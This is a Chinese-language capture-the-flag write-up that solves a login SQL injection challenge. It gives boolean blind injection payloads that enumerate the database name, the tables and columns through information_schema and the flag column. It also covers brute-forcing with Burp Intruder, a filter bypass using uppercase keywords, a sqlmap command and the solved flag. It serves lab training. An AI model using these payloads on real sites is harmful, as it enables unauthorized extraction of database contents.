0到1 ctfer: SQL注入-2

Posted Zeker62

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了0到1 ctfer: SQL注入-2相关的知识,希望对你有一定的参考价值。

分析这个靶场 :
登录靶场,只有一个空空的界面:

很明显,这是一个登录到账号密码的关于SQL注入的题目
尝试输入admin和其他用户名,发现是不一样的报错:


说明这里的机制是:先检查账号是否存在,再检查账号和密码是否对应
由此可以使用burpsuite抓包进行报错注入的操作:
经过抓包,在burp上显示不同的内容:
“账号不存在”

“账号和密码错误”

所以由此可以判断出,账号密码是否正确,来源于报错:

  • 用户名正确报错:{“error”:1,“msg”:"\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef"}
  • 用户名不存在报错:{“error”:1,“msg”:"\\u8d26\\u53f7\\u4e0d\\u5b58\\u5728"}

依据此信息可以对其进行报错注入:
#手工方法:

判断数据库:

使用burpsuite加上合适的payload即可:

判断数据库名称的字符数
经过尝试,数据库名称字符数为4

name=admin'+and+if(length(database())=4,true,false)%23&pass=a

判断数据库名称:
用intruder暴力破解数据库名称:

name=admin'+and+substr(database(),1,1)='f'%23&pass=a



得到数据库名称为note

判断表名
就不进行表的位数判断了,直接上intruder
暴力破解数据表名:

name=admin'+AND+substr((SELECT+group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database()),1,1)='f'%23

经过测试,最好SQL语句的操作是大写,存在过滤小写的过滤器

表名称有两个:fl4g和users

判断列名:
暴力破解列名称:

name=admin'+AND+substr((SELECT+group_concat(column_name)+FROM+information_schema.columns+WHERE+table_schema=database()),1,1)='f'%23



四列:flag,id,username,passwords

找出flag
flag的值应该存在于数据表为fl4g的flag列,注意修改字典,要添加数字和一些特殊符号进去

name=admin'+AND+substr((SELECT+group_concat(flag)+FROM+flag),1,1)='a'%23



flag就可以出来了:n1book{login_sqli_is_nice}

sqlmap

将抓到带有SQL注入的数据包保存到文件中


使用sqlmap打开,并用-p指定参数name为注入点

sqlmap -r 'a.txt' -p name --batch

之后再加上一些参数爆破出一些东西就不赘述了

以上是关于0到1 ctfer: SQL注入-2的主要内容,如果未能解决你的问题,请参考以下文章

CTF 小白教程《从0到1:CTFer成长之路》SQL - 2 解题过程

BUUCTF - Web -[web入门]sql 1~2(水题勿览)

0到1 ctfer信息收集-2:粗心的小李

从0到1的CTFer成长之路的docker环境配置

从0到1的CTFer成长之路的docker环境配置

从0到1的CTFer成长之路的docker环境配置